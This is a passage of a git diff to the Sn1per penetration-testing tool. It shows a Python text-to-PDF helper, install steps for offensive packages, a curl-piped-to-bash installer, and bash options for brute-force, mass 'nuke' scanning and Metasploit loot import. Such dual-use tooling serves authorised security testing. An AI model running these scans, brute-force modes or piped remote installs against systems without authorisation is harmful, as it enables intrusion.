ws("endobj\n") + + self._locations[2] = self._fpos + + ws("2 0 obj\n") + ws("<<\n") + ws("/Type /Catalog\n") + ws("/Pages 3 0 R\n") + ws(">>\n") + ws("endobj\n") + + self._locations[4] = self._fpos + ws("4 0 obj\n") + ws("<<\n") + buf = "".join(("/BaseFont ", str(self._font), " /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font >>\n")) + ws(buf) + + if self._IsoEnc: + ws(ENCODING_STR) + + ws(">>\n") + ws("endobj\n") + + self._locations[5] = self._fpos + + ws("5 0 obj\n") + ws("<<\n") + ws(" /Font << /F1 4 0 R >>\n") + ws(" /ProcSet [ /PDF /Text ]\n") + ws(">>\n") + ws("endobj\n") + + def startpage(self): + """ Start a page of data """ + + ws = self.writestr + + self._pageNo += 1 + self._curobj += 1 + + self._locations.append(self._fpos) + self._locations[self._curobj]=self._fpos + + self._pageObs.append(self._curobj) + self._pageObs[self._pageNo] = self._curobj + + buf = "".join((str(self._curobj), " 0 obj\n")) + + ws(buf) + ws("<<\n") + ws("/Type /Page\n") + ws("/Parent 3 0 R\n") + ws("/Resources 5 0 R\n") + + self._curobj += 1 + buf = "".join(("/Contents ", str(self._curobj), " 0 R\n")) + ws(buf) + ws(">>\n") + ws("endobj\n") + + self._locations.append(self._fpos) + self._locations[self._curobj] = self._fpos + + buf = "".join((str(self._curobj), " 0 obj\n")) + ws(buf) + ws("<<\n") + + buf = "".join(("/Length ", str(self._curobj + 1), " 0 R\n")) + ws(buf) + ws(">>\n") + ws("stream\n") + strmPos = self._fpos + + ws("BT\n"); + buf = "".join(("/F1 ", str(self._ptSize), " Tf\n")) + ws(buf) + buf = "".join(("1 0 0 1 50 ", str(self._pageHt - 40), " Tm\n")) + ws(buf) + buf = "".join((str(self._vertSpace), " TL\n")) + ws(buf) + + return strmPos + + def endpage(self, streamStart): + """End a page of data """ + + ws = self.writestr + + ws("ET\n") + streamEnd = self._fpos + ws("endstream\n") + ws("endobj\n") + + self._curobj += 1 + self._locations.append(self._fpos) + self._locations[self._curobj] = self._fpos + + buf = "".join((str(self._curobj), " 0 obj\n")) + ws(buf) + buf = "".join((str(streamEnd - streamStart), '\n')) + ws(buf) + ws('endobj\n') + + def writepages(self): + """Write pages as PDF""" + + ws = self.writestr + + beginstream=0 + lineNo, charNo=0,0 + ch, column=0,0 + padding,i=0,0 + atEOF=0 + linebuf = '' + + while not atEOF: + beginstream = self.startpage() + column=1 + + while column <= self._columns: + column += 1 + atFF=0 + atBOP=0 + lineNo=0 + # Special flag for regexp page break + pagebreak = False + + while lineNo < self._lines and not atFF and not atEOF and not pagebreak: + linebuf = '' + lineNo += 1 + ws("(") + charNo=0 + + while charNo < self._cols: + charNo += 1 + ch = self._ifs.read(1) + cond = ((ch != '\n') and not(ch==FF and self._doFFs) and (ch != '')) + if not cond: + # See if this dude matches the pagebreak regexp + if self._pagebreakre and self._pagebreakre.search(linebuf.strip()): + pagebreak = True + + linebuf = '' + break + else: + linebuf = linebuf + ch + + if ord(ch) >= 32 and ord(ch) <= 127: + if ch == '(' or ch == ')' or ch == '\\': + ws("\\") + ws(ch) + else: + if ord(ch) == 9: + padding =self._tab - ((charNo - 1) % self._tab) + for i in range(padding): + ws(" ") + charNo += (padding -1) + else: + if ch != FF: + # write \xxx form for dodgy character + buf = "".join(('\\', ch)) + ws(buf) + else: + # dont print anything for a FF + charNo -= 1 + + ws(")'\n") + if ch == FF: + atFF=1 + if lineNo == self._lines: + atBOP=1 + + if atBOP: + pos=0 + ch = self._ifs.read(1) + pos= self._ifs.tell() + if ch == FF: + ch = self._ifs.read(1) + pos=self._ifs.tell() + # python's EOF signature + if ch == '': + atEOF=1 + else: + # push position back by one char + self._ifs.seek(pos-1) + + elif atFF: + ch = self._ifs.read(1) + pos=self._ifs.tell() + if ch == '': + atEOF=1 + else: + self._ifs.seek(pos-1) + + if column < self._columns: + buf = "".join(("1 0 0 1 ", + str((self._pageWd/2 + 25)), + " ", + str(self._pageHt - 40), + " Tm\n")) + ws(buf) + + self.endpage(beginstream) + + def writerest(self): + """Finish the file""" + + ws = self.writestr + self._locations[3] = self._fpos + + ws("3 0 obj\n") + ws("<<\n") + ws("/Type /Pages\n") + buf = "".join(("/Count ", str(self._pageNo), "\n")) + ws(buf) + buf = "".join(("/MediaBox [ 0 0 ", str(self._pageWd), " ", str(self._pageHt), " ]\n")) + ws(buf) + ws("/Kids [ ") + + for i in range(1, self._pageNo+1): + buf = "".join((str(self._pageObs[i]), " 0 R ")) + ws(buf) + + ws("]\n") + ws(">>\n") + ws("endobj\n") + + xref = self._fpos + ws("xref\n") + buf = "".join(("0 ", str((self._curobj) + 1), "\n")) + ws(buf) + buf = "".join(("0000000000 65535 f ", str(LINE_END))) + ws(buf) + + for i in range(1, self._curobj + 1): + val = self._locations[i] + buf = "".join((string.zfill(str(val), 10), " 00000 n ", str(LINE_END))) + ws(buf) + + ws("trailer\n") + ws("<<\n") + buf = "".join(("/Size ", str(self._curobj + 1), "\n")) + ws(buf) + ws("/Root 2 0 R\n") + ws("/Info 1 0 R\n") + ws(">>\n") + + ws("startxref\n") + buf = "".join((str(xref), "\n")) + ws(buf) + ws("%%EOF\n") + + +def main(): + + pdfclass=PyText2Pdf() + pdfclass.parse_args() + pdfclass.convert() + +if __name__ == "__main__": + main() diff --git a/install.sh b/install.sh index 9c27816..e3a6b58 100644 --- a/install.sh +++ b/install.sh @@ -37,8 +37,10 @@ cp -Rf $PWD/* $INSTALL_DIR 2> /dev/null cd $INSTALL_DIR echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET" -apt-get install xdg-utils metagoofil clusterd ruby rubygems python dos2unix zenmap sslyze arachni aha libxml2-utils rpcbind uniscan xprobe2 cutycapt unicornscan waffit host whois dirb dnsrecon curl nmap php php-curl hydra iceweasel wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap +apt-get install eyewitness nodejs wafw00f xdg-utils metagoofil clusterd ruby rubygems python dos2unix zenmap sslyze arachni aha libxml2-utils rpcbind uniscan xprobe2 cutycapt unicornscan host whois dirb dnsrecon curl nmap php php-curl hydra iceweasel wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap +apt-get install waffit 2> /dev/null pip install dnspython colorama tldextract urllib3 ipaddress requests +curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash echo -e "$OKORANGE + -- --=[Installing gem dependencies...$RESET" gem install aquatone @@ -68,6 +70,7 @@ git clone https://github.com/lunarca/SimpleEmailSpoofer git clone https://github.com/arthepsy/ssh-audit git clone https://github.com/m0rtem/CloudFail.git git clone https://github.com/deibit/cansina +git clone https://github.com/1N3/jexboss.git wget https://github.com/bbb31/slurp/releases/download/1.3/slurp.zip unzip slurp.zip rm -f slurp.zip @@ -114,5 +117,7 @@ ln -s $PLUGINS_DIR/Findsploit/copysploit /usr/bin/copysploit ln -s $PLUGINS_DIR/Findsploit/compilesploit /usr/bin/compilesploit ln -s $PLUGINS_DIR/MassBleed/massbleed /usr/bin/massbleed ln -s $PLUGINS_DIR/testssl.sh/testssl.sh /usr/bin/testssl +msfdb init +msfdb start echo -e "$OKORANGE + -- --=[Done!$RESET" echo -e "$OKORANGE + -- --=[To run, type 'sniper'! $RESET" \ No newline at end of file diff --git a/sniper b/sniper index a3854cc..116583f 100755 --- a/sniper +++ b/sniper @@ -3,27 +3,21 @@ # + -- --=[http://crowdshield.com # -VER="3.0" -TARGET="$1" -MODE="$2" -OPT1="$3" -OPT2="$4" -DISABLE_POSTGRESQL="true" -BROWSER="firefox" # SET DEFAULT BROWSER +VER="4.0" +BROWSER="firefox" # SET DEFAULT BROWSER INSTALL_DIR="/usr/share/sniper" -LOOT_DIR="/usr/share/sniper/loot" PLUGINS_DIR="/usr/share/sniper/plugins" CMSMAP="/usr/share/sniper/plugins/CMSmap/cmsmap.py" -SAMRDUMP="/usr/share/sniper/bin/samrdump.py" -DNSDICT6="/usr/share/sniper/bin/dnsdict6" -INURLBR="/usr/share/sniper/bin/inurlbr.php" -USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" -PASS_FILE="/usr/share/brutex/wordlists/password.lst" -DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" +SAMRDUMP="$INSTALL_DIR/bin/samrdump.py" +DNSDICT6="$INSTALL_DIR/bin/dnsdict6" +INURLBR="$INSTALL_DIR/bin/inurlbr.php" +USER_FILE="$PLUGIN_DIR/brutex/wordlists/simple-users.txt" +PASS_FILE="$PLUGIN_DIR/wordlists/password.lst" +DNS_FILE="$PLUGIN_DIR/brutex/wordlists/namelist.txt" SUPER_MICRO_SCAN="/usr/share/sniper/plugins/SuperMicro-Password-Scanner/supermicro_scan.sh" -DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049" -DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" -DEFAULT_UDP_PORTS="53,67,68,69,88,161,162,137,138,139,389,520,2049" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" +DEFAULT_UDP_PORTS="53,67,68,69,88,123,161,162,137,138,139,389,520,2049" THREADS="30" OKBLUE='\033[94m' OKRED='\033[91m' @@ -32,24 +26,79 @@ OKORANGE='\033[93m' RESET='\e[0m' REGEX='^[0-9]+$' -# ENABLE/DISABLE AUTOMATIC BRUTE FORCE -AUTOBRUTE="1" - -# ENABLE/DISABLE FULL DETAILED NMAP SCAN +# DEFAULT SETTINGS +AUTOBRUTE="0" FULLNMAPSCAN="0" - -# ENABLE/DISABLE AUTOMATIC GOOGLE HACKING QUERIES -GOOHAK="1" - -# ENABLE/DISABLE RECON AND OSINT -OSINT="1" - -# ENABLE AUTO UPDATES +OSINT="0" ENABLE_AUTO_UPDATES="1" +REPORT="1" +LOOT="1" -# CHECK DISTRO TYPE DISTRO=$(cat /etc/*-release | grep DISTRIB_ID= | cut -d'=' -f2) +function help { + echo -e "$OKRED ____ $RESET" + echo -e "$OKRED _________ / _/___ ___ _____$RESET" + echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" + echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" + echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" + echo -e "$OKRED /_/ $RESET" + echo "" + echo -e "$OKORANGE + -- --=[http://crowdshield.com$RESET" + echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3$RESET" + echo "" + echo ' [*] NORMAL MODE' + echo ' sniper -t|--target ' + echo "" + echo ' [*] NORMAL MODE + OSINT + RECON' + echo ' sniper -t|--target -o|--osint -re|--recon' + echo "" + echo ' [*] STEALTH MODE + OSINT + RECON' + echo ' sniper -t|--target -m|--mode stealth -o|--osint -re|--recon' + echo "" + echo ' [*] DISCOVER MODE' + echo ' sniper -t|--target -m|--mode discover -w|--workspace ' + echo "" + echo ' [*] SCAN ONLY SPECIFIC PORT' + echo ' sniper -t|--target -m port -p|--port ' + echo "" + echo ' [*] FULLPORTONLY SCAN MODE' + echo ' sniper -t|--target -fp|--fullportonly' + echo "" + echo ' [*] PORT SCAN MODE' + echo ' sniper -t|--target -m|--mode port -p|--port ' + echo "" + echo ' [*] WEB MODE - PORT 80 + 443 ONLY!' + echo ' sniper -t|--target -m|--mode web' + echo "" + echo ' [*] HTTP WEB PORT MODE' + echo ' sniper -t|--target -m|--mode webporthttp -p|--port ' + echo "" + echo ' [*] HTTPS WEB PORT MODE' + echo ' sniper -t|--target -m|--mode webporthttps -p|--port ' + echo "" + echo ' [*] ENABLE BRUTEFORCE' + echo ' sniper -t|--target -b|--bruteforce' + echo "" + echo ' [*] AIRSTRIKE MODE' + echo ' sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike' + echo "" + echo ' [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED' + echo ' sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace ' + echo "" + echo ' [*] ENABLE LOOT IMPORTING INTO METASPLOIT' + echo ' sniper -t|--target ' + echo "" + echo ' [*] LOOT REIMPORT FUNCTION' + echo ' sniper -w --reimport' + echo "" + echo ' [*] UPDATE SNIPER' + echo ' sniper -u|--update' + echo "" + echo "" + exit +} + function logo { echo -e "$OKRED ____ $RESET" echo -e "$OKRED _________ / _/___ ___ _____$RESET" @@ -63,17 +112,17 @@ function logo { echo "" } -cd $INSTALL_DIR - function check_online { - ONLINE=$(curl --connect-timeout 3 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13) - if [ -z "$ONLINE" ]; then - ONLINE="0" - echo -e "$OKBLUE[*] Checking for active internet connection [$RESET${OKRED}FAIL${RESET}$OKBLUE]" - echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] sniper is running in offline mode.$RESET" - else - ONLINE="1" - echo -e "$OKBLUE[*] Checking for active internet connection [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + if [ ! -z "$ONLINE" ]; then + ONLINE=$(curl --connect-timeout 3 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13) + if [ -z "$ONLINE" ]; then + ONLINE="0" + echo -e "$OKBLUE[*] Checking for active internet connection [$RESET${OKRED}FAIL${RESET}$OKBLUE]" + echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] sniper is running in offline mode.$RESET" + else + ONLINE="1" + echo -e "$OKBLUE[*] Checking for active internet connection [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + fi fi } @@ -107,20 +156,119 @@ function update { fi } -if [ "$TARGET" = "update" ]; then +if [ "$UPDATE" = "1" ]; then update exit fi +# COMMAND LINE SWITCHES +POSITIONAL=() +while [[ $# -gt 0 ]] +do +key="$1" + +case $key in + -h|--help) + help + shift # past argument + ;; + -t|--target) + TARGET="$2" + shift # past argument + shift # past argument + ;; + -b|--bruteforce) + AUTOBRUTE="1" + shift # past argument + ;; + -fp|--fullportscan) + FULLNMAPSCAN="1" + shift # past argument + ;; + -o|--osint) + OSINT="1" + shift # past argument + ;; + -re|--recon) + RECON="1" + shift # past argument + ;; + -m|--mode) + MODE="$2" + shift # past argument + shift # past argument + ;; + -p|--port) + PORT="$2" + shift # past argument + shift # past argument + ;; + -f|--file) + FILE="$(realpath $2)" + shift # past argument + shift # past argument + ;; + -ri|--reimport) + REIMPORT="1" + shift # past argument + ;; + -n|--noreport) + REPORT="0" + shift # past argument + ;; + -nl|--noloot) + NOLOOT="1" + shift # past argument + ;; + -w|--workspace) + WORKSPACE="$2" + WORKSPACE_DIR="$INSTALL_DIR/loot/workspace/$WORKSPACE" + shift # past argument + shift # past argument + ;; + -u|--update) + UPDATE="1" + update + exit + shift # past argument + ;; + *) # unknown option + POSITIONAL+=("$1") # save it in an array for later + echo "Unknown scan option...refer to the help menu for usage details." + exit + shift # past argument + ;; +esac +done +set -- "${POSITIONAL[@]}" # restore positional parameters + +if [ -z "$TARGET" ] && [ -z "$WORKSPACE" ]; then + logo + echo "You need to specify a target or workspace to use. Type sniper --help for command usage." + exit +fi + +LOOT_DIR="/usr/share/sniper/loot/$TARGET" + +cd $INSTALL_DIR + function init { + if [ ! -z $WORKSPACE_DIR ]; then + LOOT_DIR=$WORKSPACE_DIR + fi + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" mkdir -p $LOOT_DIR 2> /dev/null mkdir $LOOT_DIR/domains 2> /dev/null mkdir $LOOT_DIR/screenshots 2> /dev/null mkdir $LOOT_DIR/nmap 2> /dev/null mkdir $LOOT_DIR/reports 2> /dev/null mkdir $LOOT_DIR/output 2> /dev/null + mkdir $LOOT_DIR/burpsuite 2> /dev/null + mkdir $LOOT_DIR/web 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null TARGET="$(echo $TARGET | sed 's/https:\/\///g' | sed 's/http:\/\///g')" - /etc/init.d/metasploit start > /dev/null 2>&1 & + /etc/init.d/metasploit start 2> /dev/null > /dev/null 2>&1 & + msfdb start 2> /dev/null > /dev/null } function loot { @@ -131,104 +279,75 @@ function loot { echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" echo -e "$OKRED /_/ $RESET" echo "" - cd $LOOT_DIR - echo -e "$OKORANGE + -- --=[Current reports...$RESET" - ls -lh /usr/share/sniper/loot/*.txt 2> /dev/null - echo -e "$OKORANGE + -- --=[Current workspaces...$RESET" - ls -lh $LOOT_DIR/workspace/ - echo -e "$OKORANGE + -- --=[Enter a name for the workspace:$RESET" - read WORKSPACE - if [ -z $WORKSPACE ]; then - WORKSPACE="default" + if [ ! -z $WORKSPACE_DIR ]; then + LOOT_DIR=$WORKSPACE_DIR fi - mkdir -p $LOOT_DIR/workspace/$WORKSPACE 2> /dev/null + + cd $LOOT_DIR + + echo -e "$OKORANGE + -- --=[Starting Metasploit service...$RESET" + /etc/init.d/metasploit start 2> /dev/null > /dev/null + echo -e "$OKORANGE + -- --=[Importing NMap XML files into Metasploit...$RESET" + msfconsole -x "workspace -a $WORKSPACE; workspace $WORKSPACE; db_import $LOOT_DIR/nmap/nmap*.xml; hosts; services; exit;" > $LOOT_DIR/notes/msf-$WORKSPACE.txt + echo -e "$OKORANGE + -- --=[Current reports...$RESET" + ls -lh $LOOT_DIR/output/*.txt 2> /dev/null > /dev/null echo -e "$OKORANGE + -- --=[Generating reports...$RESET" + cd ./output for a in `ls sniper-*.txt 2>/dev/null`; do # HTML OUTPUT - echo "$a" | aha --black > $LOOT_DIR/reports/$a.html - cat "$a" | aha --black >> $LOOT_DIR/reports/$a.html - mv $a $LOOT_DIR/output/ + cat "$a" | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" > $LOOT_DIR/reports/$a.txt + echo "$a" | aha --black > $LOOT_DIR/reports/$a.html 2> /dev/null + cat "$a" | aha --black >> $LOOT_DIR/reports/$a.html 2> /dev/null + $INSTALL_DIR/bin/pyText2pdf.py -o $LOOT_DIR/reports/$a.pdf $LOOT_DIR/reports/$a.txt 2> /dev/null > /dev/null done - echo -e "$OKORANGE + -- --=[Removing blank web screenshots...$RESET" - find /usr/share/sniper/loot/screenshots/ -size -10k -exec rm -f {} \; 2> /dev/null - rm -f $LOOT_DIR/.fuse_* 2> /dev/null - echo -e "$OKORANGE + -- --=[Starting Metasploit service...$RESET" - /etc/init.d/metasploit start 2> /dev/null - if [ -z $DISABLE_POSTGRESQL ]; then /etc/init.d/postgresql start 2> /dev/null; fi - echo -e "$OKORANGE + -- --=[Importing NMap XML files into Metasploit...$RESET" - msfconsole -x "workspace -a $WORKSPACE; workspace $WORKSPACE; db_import $LOOT_DIR/nmap/nmap*.xml; hosts; services; exit;" - echo -e "$OKORANGE + -- --=[Copying loot to workspace: $WORKSPACE...$RESET" - cp -Rf $LOOT_DIR/screenshots/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/nmap/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/domains/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/output/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/reports/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/imports/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/notes/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/web/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/osint/ 